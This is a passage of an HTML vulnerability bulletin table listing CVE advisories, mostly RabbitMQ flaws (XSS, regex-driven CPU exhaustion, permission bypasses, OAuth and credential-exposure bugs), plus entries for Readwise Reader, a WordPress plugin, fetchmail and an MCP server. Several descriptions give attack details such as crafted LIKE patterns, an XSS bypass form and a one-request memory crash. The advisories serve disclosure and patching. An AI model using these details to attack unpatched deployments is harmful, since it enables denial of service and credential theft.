&lt;td&gt;RabbitMQ is a messaging and streaming broker. From 3.13.0 until 3.13.18 and 4.0.23 and 4.1.14 and 4.2.9 and 4.3.3, Stored XSS via TLS peer-certificate DN in stream-management UI (sibling of V-11). lines 102/106/110 render peercertsubject / peercertissuer with raw &amp;lt;%= %&amp;gt; and no fmtstring(). RFC4514 backslash-escaping of &amp;lt;/&amp;gt; is HTML-inert and bypassable (&amp;lt;img ... //&amp;gt;). Requires non-default config: a stream TLS listener with verifypeer and an attacker-obtainable trusted cert with a malicious Same as the connection.ejs finding, against operators viewing the stream-connection detail rabbitmqstream + rabbitmqstreammanagement enabled with a TLS listener using verifypeer Attacker can obtain a certificate signed by a CA the listener trusts, with attacker-chosen DN An operator views the. This issue is fixed in versions 3.13.18 and 4.0.23 and 4.1.14 and 4.2.9 and 4.3.3.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67239&quot; target=&quot;_blank&quot;&gt;CVE-2026-67239&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. Prior to versions 4.2.7 and 4.3.1, pattern_to_regex maps % -&amp;gt; .*? and _ -&amp;gt; ., then compiles ^...$ with only [unicode]; re:run is called with only [{capture, none}] - no explicit match_limit. A pattern like %_%_..._%X becomes ^.*?..*?.....*?.X$ with overlapping lazy quantifiers. The whole-expression cap is ?MAX_EXPRESSION_LENGTH=4096 chars / ?MAX_TOKENS=200; a LIKE string literal is one token, so ~2000 %_ pairs fit. SQL filters are accepted unconditionally at rabbit_amqp_session.erl:3264 (no feature flag). Evaluated per-message at rabbit_stream_queue.erl:1439. OTP&#039;s default 10M match_limit caps each match at ~100-200 ms (not seconds), and the re NIF yields to the scheduler. An authenticated AMQP 1.0 consumer with read+write on a stream queue can cause ~100-200 ms of CPU per delivered message via a crafted LIKE filter, multiplied across thousands of messages and parallel sessions - a substantial backtracking-driven CPU amplification. Preconditions include AMQP 1.0 with stream queues in use Attacker can attach a receiver with a filter (read permission) and publish messages with long property values (write permission). This issue is fixed in versions 4.2.7 and 4.3.1.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67240&quot; target=&quot;_blank&quot;&gt;CVE-2026-67240&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. From 4.2.0 until 4.2.9 and 4.3.3, AMQP 1.0 management exchange.declare skips alternate-exchange permission check. pUT /exchanges/:name (lines 192-240) checks only configure on the declared exchange and passes XArgs straight to rabbitexchange:declare/7. It omits the checkreadpermitted(X) + checkwritepermitted(AE) that rabbitchannel.erl:2540-2548 enforces for the alternate-exchange argument on the AMQP 0-9-1 path. The same file already implements the analogous DLX check for queues (lines 708-719), confirming this is a missing-check bug rather than intentional A user with only configure on exchange X can route X&#039;s unroutable messages into an alternate exchange they have no write permission AMQP 1.0 enabled (default in RabbitMQ 4.x) Attacker has configure on at least one exchange but lacks write on the target. This issue is fixed in versions 4.2.9 and 4.3.3.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67241&quot; target=&quot;_blank&quot;&gt;CVE-2026-67241&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. From 4.2.0 until 4.2.9 and 4.3.3, OAuth2 isinteger(Exp) guard skips token-expiry checks for float exp. validatetokenexpiry/1 (lines 208-214) and expirytimestamp/1 (138-144) both guard with &#039;when isinteger(Exp)&#039; and fall through to ok/never for float values. josejwt:verify validates only the signature, not exp. With float exp, no expiry validation occurs anywhere in the If the IdP emits exp as a JSON float (RFC 7519 permits fractional NumericDate), both the login-time expiry check and the mid-connection disconnect timer are silently skipped , an already-expired token is accepted, and connections never time OAuth2 backend enabled IdP emits float exp (uncommon; mainstream IdPs emit integers) Attacker possesses a previously-valid signed. This issue is fixed in versions 4.2.9 and 4.3.3.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67242&quot; target=&quot;_blank&quot;&gt;CVE-2026-67242&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0, When no CA bundle is available, ssl_options/1 falls back to [{verify, verify_none}] with no warning. An attacker in a man-in-the-middle position can forge the JWKS response, which leads the broker to accept arbitrary JWTs. Preconditions include The OAuth2 plugin must be in use with no cacertfile configured and the OS CA bundle empty or unreadable (for example, in a minimal container), and the attacker must hold a network man-in-the-middle position.. This issue is fixed in versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67404&quot; target=&quot;_blank&quot;&gt;CVE-2026-67404&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0, Neither the Web-MQTT handler (deps/rabbitmq_web_mqtt/src/rabbit_web_mqtt_handler.erl:104) nor the Web-STOMP handler (deps/rabbitmq_web_stomp/src/rabbit_web_stomp_handler.erl:102) validates the Origin header on the WebSocket upgrade. Under ssl_cert_login=true, the browser presents the client certificate automatically, so an attacker&#039;s JavaScript running in the victim&#039;s browser can authenticate as the victim. Preconditions include The non-default configuration use_http_auth=true (Web-STOMP) or ssl_cert_login=true (both plugins) must be enabled. The issue is harmless under the default in-band CONNECT credential configuration.. This issue is fixed in versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67405&quot; target=&quot;_blank&quot;&gt;CVE-2026-67405&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. From 4.0.0 until 4.3.3, 4.2.9, 4.1.14, and 4.0.23, Shovel does not format state logged by the crash reporter and can leave unencrypted credentials in a crash dump file. the shovel worker genserver processes does not implement the formatstatus/2 callback. When these processes crash (e.g., due to network partitions, connection failures), the OTP SASL error handler writes the full process state , including plaintext AMQP passwords and URIs , to the error log. This is particularly severe for the shovel worker, which stores deobfuscated plaintext URIs (including amqp://user:password@host format) in its genserver state for the entire process Automatic Credential Exposure: Shovel worker crashes (common during network partitions) automatically write plaintext upstream/downstream passwords to error logs No Special Configuration Needed: Unlike DEBUG logging, SASL error reports are always active Broad. This issue is fixed in versions 4.3.3, 4.2.9, 4.1.14, and 4.0.23.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67406&quot; target=&quot;_blank&quot;&gt;CVE-2026-67406&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. From 4.0.0 until 4.3.3 and 4.2.9 and 4.1.14 and 4.0.23, Incomplete fix for CVE-2026-44838: escaperegexchar/1 does not escape -, leaving room for an MQTT topic permission bypass. the CVE-2026-44838 fix made expandtopicpermission/2 escape regex metacharacters in expanded topic-permission variables (escaperegex(V)), but escaperegexchar/1 escapes \ ^ $ . | ? + ( ) [ ] { } and omits -. When a topic permission template places {clientid} inside a [...] character class A low-privileged authenticated MQTT user controlling its clientid can broaden topic authorization (read and write) when templates embed {clientid} in a [...] This issue is fixed in versions 4.3.3 and 4.2.9 and 4.1.14 and 4.0.23.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67407&quot; target=&quot;_blank&quot;&gt;CVE-2026-67407&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. From 4.1.0 until 4.3.3, 4.2.9, and 4.1.11, Stream Management Super-Stream Binding Keys Allocation Allows Low-Privilege Node Denial of Service. rabbitMQ 4.3.1 with rabbitmqstreammanagement enabled accepts PUT /api/stream/super-streams/{vhost}/{name} requests from an authenticated management user that can access the target vhost. When the request body contains the binding-keys field, the handler parses the attacker-controlled comma-separated string and builds the full stream-name list before checking whether the user has permission to configure the resulting streams. A low-privileged management user with vhost access but no configure, write, or read permission can therefore force large transient allocations before the resource permission check. In a 768 MB memory-limited container, one HTTP PUT with about 4.5 MB of JSON body killed the RabbitMQ container with Docker state exited true An authenticated low-privileged management user can kill a memory-limited RabbitMQ node with one HTTP This issue is fixed in versions 4.3.3, 4.2.9, and 4.1.11.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67408&quot; target=&quot;_blank&quot;&gt;CVE-2026-67408&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. From 3.13.0 until 4.3.3, 4.2.9, 4.1.14, 4.0.23, and 3.13.18, JWKS Fetch Ignores HTTP Response Status Code - Signing Key Destruction Causes Authentication DoS (CWE-252). the JWKS key fetching mechanism in uaajwt.erl does not validate the HTTP response status code when downloading signing keys from the OAuth2 provider&#039;s JWKS endpoint. Non-200 responses (including 4xx and 5xx errors) are processed identically to successful responses. When the JWKS endpoint returns an error response with a valid-JSON body that lacks a keys field, all previously cached signing keys are destroyed, causing a persistent authentication denial of Files: deps/rabbitmqauthbackendoauth2/src/uaajwt.erl, lines 50-63 deps/rabbitmqauthbackendoauth2/src/uaajwks.erl, lines 5-7 deps/rabbitmqauthbackendoauth2/src/rabbitoauth2provider.erl, lines 98-107 Bug 1: HTTP status code ignored (uaajwt.erl:50-63): The Erlang httpc module returns {ok, {{HttpVersion, StatusCode, ReasonPhrase}, Headers, Body}}. The pattern {ok, {, , JwksBody}} matches ANY successful HTTP transaction Persistent authentication DoS: Once keys are destroyed, ALL OAuth2/JWT authentication fails for all users until a new successful JWKS refresh occurs Amplification: A single attacker can deny access to all legitimate OAuth2 users across the entire RabbitMQ. This issue is fixed in versions 4.3.3, 4.2.9, 4.1.14, 4.0.23, and 3.13.18.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67409&quot; target=&quot;_blank&quot;&gt;CVE-2026-67409&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. From 4.2.0 until 4.3.3 and 4.2.9, OAuth2 Client Secret Exposed via Unauthenticated JavaScript Endpoint (CWE-200). when OAuth2 authentication is enabled for the RabbitMQ Management UI and the configured flow, IDP use a client secret, the oauthclientsecret configuration value is included in the JavaScript served by the unauthenticated endpoint /js/oidc-oauth/bootstrap.js. Any user who can reach the management UI port can retrieve the OAuth2 client secret without Files: deps/rabbitmqmanagement/src/rabbitmgmtwmauth.erl, line 186 deps/rabbitmqmanagement/src/rabbitmgmtoauthbootstrap.erl, lines 35-50 deps/rabbitmqmanagement/src/rabbitmgmtdispatcher.erl, lines 45-49 (route registration) Code Path: 1. The route /js/oidc-oauth/bootstrap.js is registered as a plain Cowboy handler (rabbitmgmtdispatcher.erl:46): Credential exposure for the affected configuration: OAuth2 client secret is accessible without any authentication Token theft: Attacker can complete the authorization code flow using stolen authorization codes Client impersonation: Attacker can make requests. Any RabbitMQ deployment with: This issue is fixed in versions 4.3.3 and 4.2.9.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67410&quot; target=&quot;_blank&quot;&gt;CVE-2026-67410&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. From 3.13.0 until 3.13.18, 4.0.23, 4.1.14, 4.2.9, and 4.3.3, native MQTT and MQTT over WebSocket behind a trusted PROXY Protocol frontend could lose the proxy-derived client address before the MQTT authentication path checked loopback_users, causing the frontend-to-broker address to be treated as loopback. An attacker who can reach the trusted frontend and has valid credentials for a loopback-restricted account can therefore bypass the source-address restriction; the issue does not bypass password authentication. This issue is fixed in versions 3.13.18, 4.0.23, 4.1.14, 4.2.9, and 4.3.3.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67411&quot; target=&quot;_blank&quot;&gt;CVE-2026-67411&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. From 3.13.0 until 4.3.3, 4.2.9 , 4.1.14, 4.0.24, and 3.13.18, Federation upstream in RabbitMQ skips vhost authorization allowing cross-vhost message access. what the bug lets you do. A policymaker on one vhost reads and drains messages out of another vhost it has no permission on. With the default ack-mode the source messages are consumed (deleted), not copied. Why that should not 1. Federation validates the upstream URI without any vhost-access Cross-vhost message read/drain from a per-vhost policymaker, breaking vhost tenancy This issue is fixed in versions 4.3.3, 4.2.9 , 4.1.14, 4.0.24, and 3.13.18.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67412&quot; target=&quot;_blank&quot;&gt;CVE-2026-67412&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. From 4.0.0 until 4.0.23, 4.1.14, 4.2.9, and 4.3.3, the optional rabbitmq_jms_topic_exchange plugin&#039;s x-jms-topic exchange accepted a client-controlled rjms_erlang_selector binding expression whose LIKE evaluator expanded percent and underscore wildcards into overlapping PCRE fragments. It executed those fragments with raw re:run/3 without match or recursion limits, allowing an authenticated tenant that can bind and publish to consume broker scheduler CPU and deny service with pathological selectors. This issue is fixed in versions 4.0.23, 4.1.14, 4.2.9, and 4.3.3.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67413&quot; target=&quot;_blank&quot;&gt;CVE-2026-67413&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. From 4.2.0 until 4.2.9 and 4.3.3, the Shovel parameter parser converted attacker-controlled runtime parameter values into non-garbage-collected Erlang atoms before bounding them or checking a fixed allowlist. Exploitation requires network access to the Management HTTP API, valid credentials with both the management and policymaker tags, permission to set Shovel runtime parameters on a vhost, and the rabbitmq_shovel and rabbitmq_shovel_management plugins to be enabled. The attacker can exhaust the node-wide atom table and deny service, and malicious parameters are stored durably and reparsed when workers start, so atom pressure can recur after restart without a live attacker connection. This issue is fixed in versions 4.2.9 and 4.3.3.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67415&quot; target=&quot;_blank&quot;&gt;CVE-2026-67415&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. Prior to 4.3.5, an authenticated user who can bind a queue to a topic exchange and publish to it can use consecutive # segments in a binding key to make both topic matchers revisit the same trie-node and routing-key-suffix states without memoization. The matcher materializes duplicate destinations before deduplication, causing combinatorial CPU work and memory pressure that can disrupt routing for all tenants. This vulnerability is fixed in 4.3.5.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67419&quot; target=&quot;_blank&quot;&gt;CVE-2026-67419&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. From 3.13.0 until 3.13.19, 4.0.24, 4.1.15, 4.2.10, and 4.3.5, RabbitMQ OAuth credential refresh retains revoked runtime tags. when an existing AMQP connection refreshes from an OAuth token that grants the impersonator tag to a valid same-username token that no longer grants that tag, RabbitMQ updates the OAuth backend implementation (token/scopes/expiry) but leaves the connection&#039;s runtime #user.tags unchanged. rabbitaccesscontrol:checkuserid/2 then still honors the stale impersonator tag, so the connection (including newly opened channels) can continue publishing messages with a foreign AMQP userid after that privilege should have been revoked. A fresh connection using the downgraded token correctly refuses the same publish, proving the defect is stale session state rather than the token Limited to connections that once held impersonator and successfully refresh to a downgraded same-username rabbitauthbackendoauth2 (or an equivalent refresh-capable backend that returns tags) is enabled for This issue is fixed in versions 3.13.19, 4.0.24, 4.1.15, 4.2.10, and 4.3.5.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67420&quot; target=&quot;_blank&quot;&gt;CVE-2026-67420&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. From 3.13.0 until 3.13.19, 4.0.24, 4.1.15, 4.2.10, and 4.3.5, RabbitMQ Management rendered an AMQP authorization-error reason containing an attacker-controlled queue name as HTML when the OAuth management UI was enabled. Exploitation requires an attacker with queue configure permission, a management administrator who can see but cannot read that queue, and the administrator clicking Get Message(s). A queue name containing a base element can then retarget the automatic relative refresh because the Content Security Policy omits base-uri and connect-src, and an attacker endpoint that permits the management origin through CORS can receive the victim&#039;s Authorization header. This issue is fixed in versions 3.13.19, 4.0.24, 4.1.15, 4.2.10, and 4.3.5.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67421&quot; target=&quot;_blank&quot;&gt;CVE-2026-67421&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Rattadan--Cosmowarp Contract&lt;/td&gt;
&lt;td&gt;The Rattadan Cosmowarp smart contract before 56c6147 can have a comparison to an unintended value of current_admin.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100248&quot; target=&quot;_blank&quot;&gt;CVE-2026-100248&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Readwise--Reader&lt;/td&gt;
&lt;td&gt;Readwise Reader for Android contains a cross-site scripting vulnerability due to missing HTML sanitization in its processing of imported document metadata. Attacker-controlled fields such as the author meta tag are inserted into a WebView via innerHTML, enabling stored XSS that executes on synced devices when the malicious document is opened.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18311&quot; target=&quot;_blank&quot;&gt;CVE-2026-18311&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Readwise--Reader&lt;/td&gt;
&lt;td&gt;Readwise Reader for Android constructs URLs in its WebView using attacker-controlled metadata without proper encoding or escaping. The application interpolates untrusted values directly into URL strings and inserts them into the DOM via innerHTML. Because the interpolation occurs without HTML or JavaScript context encoding, a crafted metadata value can break out of the intended URL structure and inject script content. An attacker could supply a document containing malicious metadata that, once synchronized to an Android device and rendered in the Reader WebView, results in execution of injected script content, enabling stored cross-site scripting (XSS)&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18312&quot; target=&quot;_blank&quot;&gt;CVE-2026-18312&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Readwise--Reader&lt;/td&gt;
&lt;td&gt;Readwise Reader for Android uses a sanitize-html configuration that permits all attributes on SVG and PATH elements due to a wildcard attribute rule. This configuration fails to remove script-capable attributes such as event handlers (e.g., &#039;onload&#039;, &#039;onerror&#039;). An attacker could supply a document containing malicious SVG content that survives sanitization and executes script wher rendered in the Reader WebView, resulting in client-side cross-site scripting (XSS).&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18320&quot; target=&quot;_blank&quot;&gt;CVE-2026-18320&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Real3D Flipbook--Real3D Flipbook&lt;/td&gt;
&lt;td&gt;The Real3D Flipbook WordPress plugin before 5.4 does not sanitize or escape several flipbook editor fields before rendering them back in the admin editor, allowing users with the Author role and above to inject arbitrary web scripts that execute in the browser of any user who later opens the affected flipbook for editing, including administrators.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-15696&quot; target=&quot;_blank&quot;&gt;CVE-2025-15696&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Real3D Flipbook--Real3D Flipbook&lt;/td&gt;
&lt;td&gt;The Real3D Flipbook WordPress plugin before 5.4 does not perform capability checks on several of its authenticated flipbook management actions, allowing users with Author-level access and above to delete other users&#039; flipbook content and overwrite administrator-only global settings, which can be leveraged to store JavaScript that executes in the context of any visitor or administrator viewing the site.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86842&quot; target=&quot;_blank&quot;&gt;CVE-2026-86842&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A stack-based buffer overflow flaw was found in fetchmail when built with NTLM support. A malicious or compromised mail server advertising NTLM authentication can send a crafted Type 2 challenge that causes fetchmail to write past a fixed stack buffer while building the NTLM authenticate response. This may lead to remote code execution depending on stack-frame layout, or to authentication failure or process termination under memory hardening. Affects v5.0.8 through v6.6.6.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94184&quot; target=&quot;_blank&quot;&gt;CVE-2026-94184&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Robur--Albatross&lt;/td&gt;
&lt;td&gt;Robur Albatross 1.0.0 through 2.x before 2.7.2 does not limit use of the ring buffer, leading to an albatross-console loop with no recognized termination condition. This is only exploitable by users who can send console subscription commands to unikernels that produce sufficient log output to fill the ring buffer (1024 lines). It is not exploitable by unauthorized clients.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96609&quot; target=&quot;_blank&quot;&gt;CVE-2026-96609&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;roomi-fields--notebooklm-mcp&lt;/td&gt;
&lt;td&gt;NotebookLM MCP is an MCP server and HTTP service for interacting with Google NotebookLM and exporting generated content to local vault directories. Versions 1.6.0 through 2.0.2 contain a path traversal vulnerability in the `POST /batch-to-vault` endpoint, also exposed through the `batch_to_vault` MCP tool beginning in version 1.7.0, because attacker-controlled `vault_dir` and `slug_prefix` values can cause Markdown and JSON files to be written outside the intended vault directory to any location writable by the server process. Version 2.0.3 sanitizes `slug_prefix` and supports vault containment when `NOTEBOOKLM_VAULT_ROOT` is configured; containment is not enabled if that variable is unset. Users unable to upgrade should run the server as a dedicated unprivileged account restricted to the intended vault, keep the HTTP endpoint limited to localhost, and validate `vault_dir` values supplied by LLMs processing untrusted content.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61647&quot; target=&quot;_blank&quot;&gt;CVE-2026-61647&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;RTI--Connext Professional&lt;/td&gt;
&lt;td&gt;Double Free vulnerability in RTI Connext Professional (Core Libraries) allows File Manipulation. This issue affects Connext Professional: from 7.4.0 before 7.7.0.1, from 7.1.0 before 7.3.1.6.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11388&quot; target=&quot;_blank&quot;&gt;CVE-2026-11388&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;RTI--Connext Professional&lt;/td&gt;
&lt;td&gt;Out-of-bounds Read, Function Call With Incorrect Number of Arguments, Access of Resource Using Incompatible Type (&#039;Type Confusion&#039;) vulnerability in RTI Connext Professional (Core Libraries) allows Overread Buffers. This issue affects Connext Professional: from 7.4.0 before 7.7.0.1, from 7.3.0 before 7.3.1.6.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
